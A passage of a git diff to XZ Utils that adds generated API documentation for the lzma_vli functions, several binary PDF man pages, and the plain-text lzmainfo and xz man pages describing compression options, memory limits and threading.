lzma_vli will be uint64_t for the foreseeable future. If a bigger size is needed in the future, it is guaranteed that 2 * LZMA_VLI_MAX will not overflow lzma_vli. This simplifies integer overflow detection.

+ +
+
+

Function Documentation

+ +

◆ lzma_vli_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_vli_encode (lzma_vli vli,
size_t * vli_pos,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Encode a variable-length integer.

+

This function has two modes: single-call and multi-call. Single-call mode encodes the whole integer at once; it is an error if the output buffer is too small. Multi-call mode saves the position in *vli_pos, and thus it is possible to continue encoding if the buffer becomes full before the whole integer has been encoded.

+
Parameters
+ + + + + + +
vliInteger to be encoded
[out]vli_posHow many VLI-encoded bytes have already been written out. When starting to encode a new integer in multi-call mode, *vli_pos must be set to zero. To use single-call encoding, set vli_pos to NULL.
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos].
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Slightly different return values are used in multi-call and single-call modes.
+

Single-call (vli_pos == NULL):

    +
  • LZMA_OK: Integer successfully encoded.
  • +
  • LZMA_PROG_ERROR: Arguments are not sane. This can be due to too little output space; single-call mode doesn't use LZMA_BUF_ERROR, since the application should have checked the encoded size with lzma_vli_size().
  • +
+

Multi-call (vli_pos != NULL):

    +
  • LZMA_OK: So far all OK, but the integer is not completely written out yet.
  • +
  • LZMA_STREAM_END: Integer successfully encoded.
  • +
  • LZMA_BUF_ERROR: No output space was provided.
  • +
  • LZMA_PROG_ERROR: Arguments are not sane.
  • +
+ +
+
+ +

◆ lzma_vli_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_vli_decode (lzma_vlivli,
size_t * vli_pos,
const uint8_t * in,
size_t * in_pos,
size_t in_size 
)
+
+ +

Decode a variable-length integer.

+

Like lzma_vli_encode(), this function has single-call and multi-call modes.

+
Parameters
+ + + + + + +
[out]vliPointer to decoded integer. The decoder will initialize it to zero when *vli_pos == 0, so application isn't required to initialize *vli.
[out]vli_posHow many bytes have already been decoded. When starting to decode a new integer in multi-call mode, *vli_pos must be initialized to zero. To use single-call decoding, set vli_pos to NULL.
inBeginning of the input buffer
[out]in_posThe next byte will be read from in[*in_pos].
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
+
+
+
Returns
Slightly different return values are used in multi-call and single-call modes.
+

Single-call (vli_pos == NULL):

    +
  • LZMA_OK: Integer successfully decoded.
  • +
  • LZMA_DATA_ERROR: Integer is corrupt. This includes hitting the end of the input buffer before the whole integer was decoded; providing no input at all will use LZMA_DATA_ERROR.
  • +
  • LZMA_PROG_ERROR: Arguments are not sane.
  • +
+

Multi-call (vli_pos != NULL):

    +
  • LZMA_OK: So far all OK, but the integer is not completely decoded yet.
  • +
  • LZMA_STREAM_END: Integer successfully decoded.
  • +
  • LZMA_DATA_ERROR: Integer is corrupt.
  • +
  • LZMA_BUF_ERROR: No input was provided.
  • +
  • LZMA_PROG_ERROR: Arguments are not sane.
  • +
+ +
+
+ +

◆ lzma_vli_size()

+ +
+
+ + + + + + + + +
uint32_t lzma_vli_size (lzma_vli vli)
+
+ +

Get the number of bytes required to encode a VLI.

+
Parameters
+ + +
vliInteger whose encoded size is to be determined
+
+
+
Returns
Number of bytes on success (1-9). If vli isn't valid, zero is returned.
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/xz-logo.png b/doc/api/xz-logo.png new file mode 100644 index 00000000..f9d6313d Binary files /dev/null and b/doc/api/xz-logo.png differ diff --git a/doc/man/pdf-a4/lzmainfo-a4.pdf b/doc/man/pdf-a4/lzmainfo-a4.pdf new file mode 100644 index 00000000..524b51ce Binary files /dev/null and b/doc/man/pdf-a4/lzmainfo-a4.pdf differ diff --git a/doc/man/pdf-a4/xz-a4.pdf b/doc/man/pdf-a4/xz-a4.pdf new file mode 100644 index 00000000..62539d6e Binary files /dev/null and b/doc/man/pdf-a4/xz-a4.pdf differ diff --git a/doc/man/pdf-a4/xzdec-a4.pdf b/doc/man/pdf-a4/xzdec-a4.pdf new file mode 100644 index 00000000..1aa054d0 Binary files /dev/null and b/doc/man/pdf-a4/xzdec-a4.pdf differ diff --git a/doc/man/pdf-a4/xzdiff-a4.pdf b/doc/man/pdf-a4/xzdiff-a4.pdf new file mode 100644 index 00000000..e5db3c54 Binary files /dev/null and b/doc/man/pdf-a4/xzdiff-a4.pdf differ diff --git a/doc/man/pdf-a4/xzgrep-a4.pdf b/doc/man/pdf-a4/xzgrep-a4.pdf new file mode 100644 index 00000000..7aecf79d Binary files /dev/null and b/doc/man/pdf-a4/xzgrep-a4.pdf differ diff --git a/doc/man/pdf-a4/xzless-a4.pdf b/doc/man/pdf-a4/xzless-a4.pdf new file mode 100644 index 00000000..9c8c7a0b Binary files /dev/null and b/doc/man/pdf-a4/xzless-a4.pdf differ diff --git a/doc/man/pdf-a4/xzmore-a4.pdf b/doc/man/pdf-a4/xzmore-a4.pdf new file mode 100644 index 00000000..df1f8640 Binary files /dev/null and b/doc/man/pdf-a4/xzmore-a4.pdf differ diff --git a/doc/man/pdf-letter/lzmainfo-letter.pdf b/doc/man/pdf-letter/lzmainfo-letter.pdf new file mode 100644 index 00000000..cca02d22 Binary files /dev/null and b/doc/man/pdf-letter/lzmainfo-letter.pdf differ diff --git a/doc/man/pdf-letter/xz-letter.pdf b/doc/man/pdf-letter/xz-letter.pdf new file mode 100644 index 00000000..a90904cb Binary files /dev/null and b/doc/man/pdf-letter/xz-letter.pdf differ diff --git a/doc/man/pdf-letter/xzdec-letter.pdf b/doc/man/pdf-letter/xzdec-letter.pdf new file mode 100644 index 00000000..421fd51a Binary files /dev/null and b/doc/man/pdf-letter/xzdec-letter.pdf differ diff --git a/doc/man/pdf-letter/xzdiff-letter.pdf b/doc/man/pdf-letter/xzdiff-letter.pdf new file mode 100644 index 00000000..738d2575 Binary files /dev/null and b/doc/man/pdf-letter/xzdiff-letter.pdf differ diff --git a/doc/man/pdf-letter/xzgrep-letter.pdf b/doc/man/pdf-letter/xzgrep-letter.pdf new file mode 100644 index 00000000..1c545554 Binary files /dev/null and b/doc/man/pdf-letter/xzgrep-letter.pdf differ diff --git a/doc/man/pdf-letter/xzless-letter.pdf b/doc/man/pdf-letter/xzless-letter.pdf new file mode 100644 index 00000000..9d269987 Binary files /dev/null and b/doc/man/pdf-letter/xzless-letter.pdf differ diff --git a/doc/man/pdf-letter/xzmore-letter.pdf b/doc/man/pdf-letter/xzmore-letter.pdf new file mode 100644 index 00000000..0e154ad1 Binary files /dev/null and b/doc/man/pdf-letter/xzmore-letter.pdf differ diff --git a/doc/man/txt/lzmainfo.txt b/doc/man/txt/lzmainfo.txt new file mode 100644 index 00000000..fa4e51cc --- /dev/null +++ b/doc/man/txt/lzmainfo.txt @@ -0,0 +1,40 @@ +LZMAINFO(1) XZ Utils LZMAINFO(1) + + + +NAME + lzmainfo - show information stored in the .lzma file header + +SYNOPSIS + lzmainfo [--help] [--version] [file...] + +DESCRIPTION + lzmainfo shows information stored in the .lzma file header. It reads + the first 13 bytes from the specified file, decodes the header, and + prints it to standard output in human readable format. If no files are + given or file is -, standard input is read. + + Usually the most interesting information is the uncompressed size and + the dictionary size. Uncompressed size can be shown only if the file + is in the non-streamed .lzma format variant. The amount of memory re- + quired to decompress the file is a few dozen kilobytes plus the dictio- + nary size. + + lzmainfo is included in XZ Utils primarily for backward compatibility + with LZMA Utils. + +EXIT STATUS + 0 All is good. + + 1 An error occurred. + +BUGS + lzmainfo uses MB while the correct suffix would be MiB (2^20 bytes). + This is to keep the output compatible with LZMA Utils. + +SEE ALSO + xz(1) + + + +Tukaani 2013-06-30 LZMAINFO(1) diff --git a/doc/man/txt/xz.txt b/doc/man/txt/xz.txt new file mode 100644 index 00000000..2ab0577b --- /dev/null +++ b/doc/man/txt/xz.txt @@ -0,0 +1,1682 @@ +XZ(1) XZ Utils XZ(1) + + + +NAME + xz, unxz, xzcat, lzma, unlzma, lzcat - Compress or decompress .xz and + .lzma files + +SYNOPSIS + xz [option...] [file...] + +COMMAND ALIASES + unxz is equivalent to xz --decompress. + xzcat is equivalent to xz --decompress --stdout. + lzma is equivalent to xz --format=lzma. + unlzma is equivalent to xz --format=lzma --decompress. + lzcat is equivalent to xz --format=lzma --decompress --stdout. + + When writing scripts that need to decompress files, it is recommended + to always use the name xz with appropriate arguments (xz -d or xz -dc) + instead of the names unxz and xzcat. + +DESCRIPTION + xz is a general-purpose data compression tool with command line syntax + similar to gzip(1) and bzip2(1). The native file format is the .xz + format, but the legacy .lzma format used by LZMA Utils and raw com- + pressed streams with no container format headers are also supported. + In addition, decompression of the .lz format used by lzip is supported. + + xz compresses or decompresses each file according to the selected oper- + ation mode. If no files are given or file is -, xz reads from standard + input and writes the processed data to standard output. xz will refuse + (display an error and skip the file) to write compressed data to stan- + dard output if it is a terminal. Similarly, xz will refuse to read + compressed data from standard input if it is a terminal. + + Unless --stdout is specified, files other than - are written to a new + file whose name is derived from the source file name: + + o When compressing, the suffix of the target file format (.xz or + .lzma) is appended to the source filename to get the target file- + name. + + o When decompressing, the .xz, .lzma, or .lz suffix is removed from + the filename to get the target filename. xz also recognizes the + suffixes .txz and .tlz, and replaces them with the .tar suffix. + + If the target file already exists, an error is displayed and the file + is skipped. + + Unless writing to standard output, xz will display a warning and skip + the file if any of the following applies: + + o File is not a regular file. Symbolic links are not followed, and + thus they are not considered to be regular files. + + o File has more than one hard link. + + o File has setuid, setgid, or sticky bit set. + + o The operation mode is set to compress and the file already has a + suffix of the target file format (.xz or .txz when compressing to + the .xz format, and .lzma or .tlz when compressing to the .lzma for- + mat). + + o The operation mode is set to decompress and the file doesn't have a + suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, + or .lz). + + After successfully compressing or decompressing the file, xz copies the + owner, group, permissions, access time, and modification time from the + source file to the target file. If copying the group fails, the per- + missions are modified so that the target file doesn't become accessible + to users who didn't have permission to access the source file. xz + doesn't support copying other metadata like access control lists or ex- + tended attributes yet. + + Once the target file has been successfully closed, the source file is + removed unless --keep was specified. The source file is never removed + if the output is written to standard output or if an error occurs. + + Sending SIGINFO or SIGUSR1 to the xz process makes it print progress + information to standard error. This has only limited use since when + standard error is a terminal, using --verbose will display an automati- + cally updating progress indicator. + + Memory usage + The memory usage of xz varies from a few hundred kilobytes to several + gigabytes depending on the compression settings. The settings used + when compressing a file determine the memory requirements of the decom- + pressor. Typically the decompressor needs 5 % to 20 % of the amount of + memory that the compressor needed when creating the file. For example, + decompressing a file created with xz -9 currently requires 65 MiB of + memory. Still, it is possible to have .xz files that require several + gigabytes of memory to decompress. + + Especially users of older systems may find the possibility of very + large memory usage annoying. To prevent uncomfortable surprises, xz + has a built-in memory usage limiter, which is disabled by default. + While some operating systems provide ways to limit the memory usage of + processes, relying on it wasn't deemed to be flexible enough (for exam- + ple, using ulimit(1) to limit virtual memory tends to cripple mmap(2)). + + The memory usage limiter can be enabled with the command line option + --memlimit=limit. Often it is more convenient to enable the limiter by + default by setting the environment variable XZ_DEFAULTS, for example, + XZ_DEFAULTS=--memlimit=150MiB. It is possible to set the limits sepa- + rately for compression and decompression by using --memlimit-com- + press=limit and --memlimit-decompress=limit. Using these two options + outside XZ_DEFAULTS is rarely useful because a single run of xz cannot + do both compression and decompression and --memlimit=limit (or -M + limit) is shorter to type on the command line. + + If the specified memory usage limit is exceeded when decompressing, xz + will display an error and decompressing the file will fail. If the + limit is exceeded when compressing, xz will try to scale the settings + down so that the limit is no longer exceeded (except when using --for- + mat=raw or --no-adjust). This way the operation won't fail unless the + limit is very small. The scaling of the settings is done in steps that + don't match the compression level presets, for example, if the limit is + only slightly less than the amount required for xz -9, the settings + will be scaled down only a little, not all the way down to xz -8. + + Concatenation and padding with .xz files + It is possible to concatenate .xz files as is. xz will decompress such + files as if they were a single .xz file. + + It is possible to insert padding between the concatenated parts or af- + ter the last part. The padding must consist of null bytes and the size + of the padding must be a multiple of four bytes. This can be useful, + for example, if the .xz file is stored on a medium that measures file + sizes in 512-byte blocks. + + Concatenation and padding are not allowed with .lzma files or raw + streams. + +OPTIONS + Integer suffixes and special values + In most places where an integer argument is expected, an optional suf- + fix is supported to easily indicate large integers. There must be no + space between the integer and the suffix. + + KiB Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are + accepted as synonyms for KiB. + + MiB Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are + accepted as synonyms for MiB. + + GiB Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB + are accepted as synonyms for GiB. + + The special value max can be used to indicate the maximum integer value + supported by the option. + + Operation mode + If multiple operation mode options are given, the last one takes ef- + fect. + + -z, --compress + Compress. This is the default operation mode when no operation + mode option is specified and no other operation mode is implied + from the command name (for example, unxz implies --decompress). + + -d, --decompress, --uncompress + Decompress. + + -t, --test + Test the integrity of compressed files. This option is equiva- + lent to --decompress --stdout except that the decompressed data + is discarded instead of being written to standard output. No + files are created or removed. + + -l, --list + Print information about compressed files. No uncompressed out- + put is produced, and no files are created or removed. In list + mode, the program cannot read the compressed data from standard + input or from other unseekable sources. + + The default listing shows basic information about files, one + file per line. To get more detailed information, use also the + --verbose option. For even more information, use --verbose + twice, but note that this may be slow, because getting all the + extra information requires many seeks. The width of verbose + output exceeds 80 characters, so piping the output to, for exam- + ple, less -S may be convenient if the terminal isn't wide + enough. + + The exact output may vary between xz versions and different lo- + cales. For machine-readable output, --robot --list should be + used. + + Operation modifiers + -k, --keep + Don't delete the input files. + + Since xz 5.2.6, this option also makes xz compress or decompress + even if the input is a symbolic link to a regular file, has more + than one hard link, or has the setuid, setgid, or sticky bit + set. The setuid, setgid, and sticky bits are not copied to the + target file. In earlier versions this was only done with + --force. + + -f, --force + This option has several effects: + + o If the target file already exists, delete it before compress- + ing or decompressing. + + o Compress or decompress even if the input is a symbolic link + to a regular file, has more than one hard link, or has the + setuid, setgid, or sticky bit set. The setuid, setgid, and + sticky bits are not copied to the target file. + + o When used with --decompress --stdout and xz cannot recognize + the type of the source file, copy the source file as is to + standard output. This allows xzcat --force to be used like + cat(1) for files that have not been compressed with xz. Note + that in future, xz might support new compressed file formats, + which may make xz decompress more types of files instead of + copying them as is to standard output. --format=format can + be used to restrict xz to decompress only a single file for- + mat. + + -c, --stdout, --to-stdout + Write the compressed or decompressed data to standard output in- + stead of a file. This implies --keep. + + --single-stream + Decompress only the first .xz stream, and silently ignore possi- + ble remaining input data following the stream. Normally such + trailing garbage makes xz display an error. + + xz never decompresses more than one stream from .lzma files or + raw streams, but this option still makes xz ignore the possible + trailing data after the .lzma file or raw stream. + + This option has no effect if the operation mode is not --decom- + press or --test. + + --no-sparse + Disable creation of sparse files. By default, if decompressing + into a regular file, xz tries to make the file sparse if the de- + compressed data contains long sequences of binary zeros. It + also works when writing to standard output as long as standard + output is connected to a regular file and certain additional + conditions are met to make it safe. Creating sparse files may + save disk space and speed up the decompression by reducing the + amount of disk I/O. + + -S .suf, --suffix=.suf + When compressing, use .suf as the suffix for the target file in- + stead of .xz or .lzma. If not writing to standard output and + the source file already has the suffix .suf, a warning is dis- + played and the file is skipped. + + When decompressing, recognize files with the suffix .suf in ad- + dition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. + If the source file has the suffix .suf, the suffix is removed to + get the target filename. + + When compressing or decompressing raw streams (--format=raw), + the suffix must always be specified unless writing to standard + output, because there is no default suffix for raw streams. + + --files[=file] + Read the filenames to process from file; if file is omitted, + filenames are read from standard input. Filenames must be ter- + minated with the newline character. A dash (-) is taken as a + regular filename; it doesn't mean standard input. If filenames + are given also as command line arguments, they are processed be- + fore the filenames read from file. + + --files0[=file] + This is identical to --files[=file] except that each filename + must be terminated with the null character. + + Basic file format and compression options + -F format, --format=format + Specify the file format to compress or decompress: + + auto This is the default. When compressing, auto is equiva- + lent to xz. When decompressing, the format of the input + file is automatically detected. Note that raw streams + (created with --format=raw) cannot be auto-detected. + + xz Compress to the .xz file format, or accept only .xz files + when decompressing. + + lzma, alone + Compress to the legacy .lzma file format, or accept only + .lzma files when decompressing. The alternative name + alone is provided for backwards compatibility with LZMA + Utils. + + lzip Accept only .lz files when decompressing. Compression is + not supported. + + The .lz format version 0 and the unextended version 1 are + supported. Version 0 files were produced by lzip 1.3 and + older. Such files aren't common but may be found from + file archives as a few source packages were released in + this format. People might have old personal files in + this format too. Decompression support for the format + version 0 was removed in lzip 1.18. + + lzip 1.4 and later create files in the format version 1. + The sync flush marker extension to the format version 1 + was added in lzip 1.6. This extension is rarely used and + isn't supported by xz (diagnosed as corrupt input). + + raw Compress or uncompress a raw stream (no headers). This + is meant for advanced users only. To decode raw streams, + you need use --format=raw and explicitly specify the fil- + ter chain, which normally would have been stored in the + container headers. + + -C check, --check=check + Specify the type of the integrity check. The check is calcu- + lated from the uncompressed data and stored in the .xz file. + This option has an effect only when compressing into the .xz + format; the .lzma format doesn't support integrity checks. The + integrity check (if any) is verified when the .xz file is decom- + pressed. + + Supported check types: + + none Don't calculate an integrity check at all. This is usu- + ally a bad idea. This can be useful when integrity of + the data is verified by other means anyway. + + crc32 Calculate CRC32 using the polynomial from IEEE-802.3 + (Ethernet). + + crc64 Calculate CRC64 using the polynomial from ECMA-182. This + is the default, since it is slightly better than CRC32 at + detecting damaged files and the speed difference is neg- + ligible. + + sha256 Calculate SHA-256. This is somewhat slower than CRC32 + and CRC64. + + Integrity of the .xz headers is always verified with CRC32. It + is not possible to change or disable it. + + --ignore-check + Don't verify the integrity check of the compressed data when de- + compressing. The CRC32 values in the .xz headers will still be + verified normally. + + Do not use this option unless you know what you are doing. Pos- + sible reasons to use this option: + + o Trying to recover data from a corrupt .xz file. + + o Speeding up decompression. This matters mostly with SHA-256 + or with files that have compressed extremely well. It's rec- + ommended to not use this option for this purpose unless the + file integrity is verified externally in some other way. + + -0 ... -9 + Select a compression preset level. The default is -6. If mul- + tiple preset levels are specified, the last one takes effect. + If a custom filter chain was already specified, setting a com- + pression preset level clears the custom filter chain. + + The differences between the presets are more significant than + with gzip(1) and bzip2(1). The selected compression settings + determine the memory requirements of the decompressor, thus us- + ing a too high preset level might make it painful to decompress + the file on an old system with little RAM. Specifically, it's + not a good idea to blindly use -9 for everything like it often + is with gzip(1) and bzip2(1). + + -0 ... -3 + These are somewhat fast presets. -0 is sometimes faster + than gzip -9 while compressing much better. The higher + ones often have speed comparable to bzip2(1) with compa- + rable or better compression ratio, although the results + depend a lot on the type of data being compressed. + + -4 ... -6 + Good to very good compression while keeping decompressor + memory usage reasonable even for old systems. -6 is the + default, which is usually a good choice for distributing + files that need to be decompressible even on systems with + only 16 MiB RAM. (-5e or -6e may be worth considering + too. See --extreme.) + + -7 ... -9 + These are like -6 but with higher compressor and decom- + pressor memory requirements. These are useful only when + compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, + respectively. + + On the same hardware, the decompression speed is approximately a + constant number of bytes of compressed data per second. In + other words, the better the compression, the faster the decom- + pression will usually be. This also means that the amount of + uncompressed output produced per second can vary a lot. + + The following table summarises the features of the presets: + + Preset DictSize CompCPU CompMem DecMem + -0 256 KiB 0 3 MiB 1 MiB + -1 1 MiB 1 9 MiB 2 MiB + -2 2 MiB 2 17 MiB 3 MiB + -3 4 MiB 3 32 MiB 5 MiB + -4 4 MiB 4 48 MiB 5 MiB + -5 8 MiB 5 94 MiB 9 MiB + -6 8 MiB 6 94 MiB 9 MiB + -7 16 MiB 6 186 MiB 17 MiB + -8 32 MiB 6 370 MiB 33 MiB + -9 64 MiB 6 674 MiB 65 MiB + + Column descriptions: + + o DictSize is the LZMA2 dictionary size. It is waste of memory + to use a dictionary bigger than the size of the uncompressed + file. This is why it is good to avoid using the presets -7 + ... -9 when there's no real need for them. At -6 and lower, + the amount of memory wasted is usually low enough to not mat- + ter. + + o CompCPU is a simplified representation of the LZMA2 settings + that affect compression speed. The dictionary size affects + speed too, so while CompCPU is the same for levels -6 ... -9, + higher levels still tend to be a little slower. To get even + slower and thus possibly better compression, see --extreme. + + o CompMem contains the compressor memory requirements in the + single-threaded mode. It may vary slightly between xz ver- + sions. + + o DecMem contains the decompressor memory requirements. That + is, the compression settings determine the memory require- + ments of the decompressor. The exact decompressor memory us- + age is slightly more than the LZMA2 dictionary size, but the + values in the table have been rounded up to the next full + MiB. + + Memory requirements of the multi-threaded mode are significantly + higher than that of the single-threaded mode. With the default + value of --block-size, each thread needs 3*3*DictSize plus Comp- + Mem or DecMem. For example, four threads with preset -6 needs + 660-670 MiB of memory. + + -e, --extreme + Use a slower variant of the selected compression preset level + (-0 ... -9) to hopefully get a little bit better compression ra- + tio, but with bad luck this can also make it worse. Decompres- + sor memory usage is not affected, but compressor memory usage + increases a little at preset levels -0 ... -3. + + Since there are two presets with dictionary sizes 4 MiB and + 8 MiB, the presets -3e and -5e use slightly faster settings + (lower CompCPU) than -4e and -6e, respectively. That way no two + presets are identical. + + Preset DictSize CompCPU CompMem DecMem + -0e 256 KiB 8 4 MiB 1 MiB + -1e 1 MiB 8 13 MiB 2 MiB + -2e 2 MiB 8 25 MiB 3 MiB + -3e 4 MiB 7 48 MiB 5 MiB + -4e 4 MiB 8 48 MiB 5 MiB + -5e 8 MiB 7 94 MiB 9 MiB + -6e 8 MiB 8 94 MiB 9 MiB + -7e 16 MiB 8 186 MiB 17 MiB + -8e 32 MiB 8 370 MiB 33 MiB + + -9e 64 MiB 8 674 MiB 65 MiB + + For example, there are a total of four presets that use 8 MiB + dictionary, whose order from the fastest to the slowest is -5, + -6, -5e, and -6e. + + --fast + --best These are somewhat misleading aliases for -0 and -9, respec- + tively. These are provided only for backwards compatibility + with LZMA Utils. Avoid using these options. + + --block-size=size + When compressing to the .xz format, split the input data into + blocks of size bytes. The blocks are compressed independently + from each other, which helps with multi-threading and makes lim- + ited random-access decompression possible. This option is typi- + cally used to override the default block size in multi-threaded + mode, but this option can be used in single-threaded mode too. + + In multi-threaded mode about three times size bytes will be al- + located in each thread for buffering input and output. The de- + fault size is three times the LZMA2 dictionary size or 1 MiB, + whichever is more. Typically a good value is 2-4 times the size + of the LZMA2 dictionary or at least 1 MiB. Using size less than + the LZMA2 dictionary size is waste of RAM because then the LZMA2 + dictionary buffer will never get fully used. In multi-threaded + mode, the sizes of the blocks are stored in the block headers. + This size information is required for multi-threaded decompres- + sion. + + In single-threaded mode no block splitting is done by default. + Setting this option doesn't affect memory usage. No size infor- + mation is stored in block headers, thus files created in single- + threaded mode won't be identical to files created in multi- + threaded mode. The lack of size information also means that xz + won't be able decompress the files in multi-threaded mode. + + --block-list=items + When compressing to the .xz format, start a new block with an + optional custom filter chain after the given intervals of uncom- + pressed data. + + The items are a comma-separated list. Each item consists of an + optional filter chain number between 0 and 9 followed by a colon + (:) and a required size of uncompressed data. Omitting an item + (two or more consecutive commas) is a shorthand to use the size + and filters of the previous item. + + If the input file is bigger than the sum of the sizes in items, + the last item is repeated until the end of the file. A special + value of 0 may be used as the last size to indicate that the + rest of the file should be encoded as a single block. + + An alternative filter chain for each block can be specified in + combination with the --filters1=filters ... --filters9=filters + options. These options define filter chains with an identifier + between 1-9. Filter chain 0 can be used to refer to the default + filter chain, which is the same as not specifying a filter + chain. The filter chain identifier can be used before the un- + compressed size, followed by a colon (:). For example, if one + specifies --block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then + blocks will be created using: + + o The filter chain specified by --filters1 and 2 MiB input + + o The filter chain specified by --filters3 and 2 MiB input + + o The filter chain specified by --filters2 and 4 MiB input + + o The filter chain specified by --filters2 and 4 MiB input + + o The default filter chain and 2 MiB input + + o The default filter chain and 4 MiB input for every block un- + til end of input. + + If one specifies a size that exceeds the encoder's block size + (either the default value in threaded mode or the value speci- + fied with --block-size=size), the encoder will create additional + blocks while keeping the boundaries specified in items. For ex- + ample, if one specifies --block-size=10MiB + --block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is + 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, + 10, and 1 MiB. + + In multi-threaded mode the sizes of the blocks are stored in the + block headers. This isn't done in single-threaded mode, so the + encoded output won't be identical to that of the multi-threaded + mode. + + --flush-timeout=timeout + When compressing, if more than timeout milliseconds (a positive + integer) has passed since the previous flush and reading more + input would block, all the pending input data is flushed from + the encoder and made available in the output stream. This can + be useful if xz is used to compress data that is streamed over a + network. Small timeout values make the data available at the + receiving end with a small delay, but large timeout values give + better compression ratio. + + This feature is disabled by default. If this option is speci- + fied more than once, the last one takes effect. The special + timeout value of 0 can be used to explicitly disable this fea- + ture. + + This feature is not available on non-POSIX systems. + + This feature is still experimental. Currently xz is unsuitable + for decompressing the stream in real time due to how xz does + buffering. + + --memlimit-compress=limit + Set a memory usage limit for compression. If this option is + specified multiple times, the last one takes effect. + + If the compression settings exceed the limit, xz will attempt to + adjust the settings downwards so that the limit is no longer ex- + ceeded and display a notice that automatic adjustment was done. + The adjustments are done in this order: reducing the number of + threads, switching to single-threaded mode if even one thread in + multi-threaded mode exceeds the limit, and finally reducing the + LZMA2 dictionary size. + + When compressing with --format=raw or if --no-adjust has been + specified, only the number of threads may be reduced since it + can be done without affecting the compressed output. + + If the limit cannot be met even with the adjustments described + above, an error is displayed and xz will exit with exit status + 1. + + The limit can be specified in multiple ways: + + o The limit can be an absolute value in bytes. Using an inte- + ger suffix like MiB can be useful. Example: --memlimit-com- + press=80MiB + + o The limit can be specified as a percentage of total physical + memory (RAM). This can be useful especially when setting the + XZ_DEFAULTS environment variable in a shell initialization + script that is shared between different computers. That way + the limit is automatically bigger on systems with more mem- + ory. Example: --memlimit-compress=70% + + o The limit can be reset back to its default value by setting + it to 0. This is currently equivalent to setting the limit + to max (no memory usage limit). + + For 32-bit xz there is a special case: if the limit would be + over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB + is used instead. (The values 0 and max aren't affected by this. + A similar feature doesn't exist for decompression.) This can be + helpful when a 32-bit executable has access to 4 GiB address + space (2 GiB on MIPS32) while hopefully doing no harm in other + situations. + + See also the section Memory usage. + + --memlimit-decompress=limit + Set a memory usage limit for decompression. This also affects + the --list mode. If the operation is not possible without ex- + ceeding the limit, xz will display an error and decompressing + the file will fail. See --memlimit-compress=limit for possible + ways to specify the limit. + + --memlimit-mt-decompress=limit + Set a memory usage limit for multi-threaded decompression. This + can only affect the number of threads; this will never make xz + refuse to decompress a file. If limit is too low to allow any + multi-threading, the limit is ignored and xz will continue in + single-threaded mode. Note that if also --memlimit-decompress + is used, it will always apply to both single-threaded and multi- + threaded modes, and so the effective limit for multi-threading + will never be higher than the limit set with --memlimit-decom- + press. + + In contrast to the other memory usage limit options, --mem- + limit-mt-decompress=limit has a system-specific default limit. + xz --info-memory can be used to see the current value. + + This option and its default value exist because without any + limit the threaded decompressor could end up allocating an in- + sane amount of memory with some input files. If the default + limit is too low on your system, feel free to increase the limit + but never set it to a value larger than the amount of usable RAM + as with appropriate input files xz will attempt to use that + amount of memory even with a low number of threads. Running out + of memory or swapping will not improve decompression perfor- + mance. + + See --memlimit-compress=limit for possible ways to specify the + limit. Setting limit to 0 resets the limit to the default sys- + tem-specific value. + + -M limit, --memlimit=limit, --memory=limit + This is equivalent to specifying --memlimit-compress=limit + --memlimit-decompress=limit --memlimit-mt-decompress=limit. + + --no-adjust + Display an error and exit if the memory usage limit cannot be + met without adjusting settings that affect the compressed out- + put. That is, this prevents xz from switching the encoder from + multi-threaded mode to single-threaded mode and from reducing + the LZMA2 dictionary size. Even when this option is used the + number of threads may be reduced to meet the memory usage limit + as that won't affect the compressed output. + + Automatic adjusting is always disabled when creating raw streams + (--format=raw). + + -T threads, --threads=threads + Specify the number of worker threads to use. Setting threads to + a special value 0 makes xz use up to as many threads as the pro- + cessor(s) on the system support. The actual number of threads + can be fewer than threads if the input file is not big enough + for threading with the given settings or if using more threads + would exceed the memory usage limit. + + The single-threaded and multi-threaded compressors produce dif- + ferent output. Single-threaded compressor will give the small- + est file size but only the output from the multi-threaded com- + pressor can be decompressed using multiple threads. Setting + threads to 1 will use the single-threaded mode. Setting threads + to any other value, including 0, will use the multi-threaded + compressor even if the system supports only one hardware thread. + (xz 5.2.x used single-threaded mode in this situation.) + + To use multi-threaded mode with only one thread, set threads to + +1. The + prefix has no effect with values other than 1. A + memory usage limit can still make xz switch to single-threaded + mode unless --no-adjust is used. Support for the + prefix was + added in xz 5.4.0. + + If an automatic number of threads has been requested and no mem- + ory usage limit has been specified, then a system-specific de- + fault soft limit will be used to possibly limit the number of + threads. It is a soft limit in sense that it is ignored if the + number of threads becomes one, thus a soft limit will never stop + xz from compressing or decompressing. This default soft limit + will not make xz switch from multi-threaded mode to single- + threaded mode. The active limits can be seen with xz + --info-memory. + + Currently the only threading method is to split the input into + blocks and compress them independently from each other. The de- + fault block size depends on the compression level and can be + overridden with the --block-size=size option. + + Threaded decompression only works on files that contain multiple + blocks with size information in block headers. All large enough + files compressed in multi-threaded mode meet this condition, but + files compressed in single-threaded mode don't even if + --block-size=size has been used. + + The default value for threads is 0. In xz 5.4.x and older the + default is 1. + + Custom compressor filter chains + A custom filter chain allows specifying the compression settings in de- + tail instead of relying on the settings associated to the presets. + When a custom filter chain is specified, preset options (-0 ... -9 and + --extreme) earlier on the command line are forgotten. If a preset op- + tion is specified after one or more custom filter chain options, the + new preset takes effect and the custom filter chain options specified + earlier are forgotten. + + A filter chain is comparable to piping on the command line. When com- + pressing, the uncompressed input goes to the first filter, whose output + goes to the next filter (if any). The output of the last filter gets + written to the compressed file. The maximum number of filters in the + chain is four, 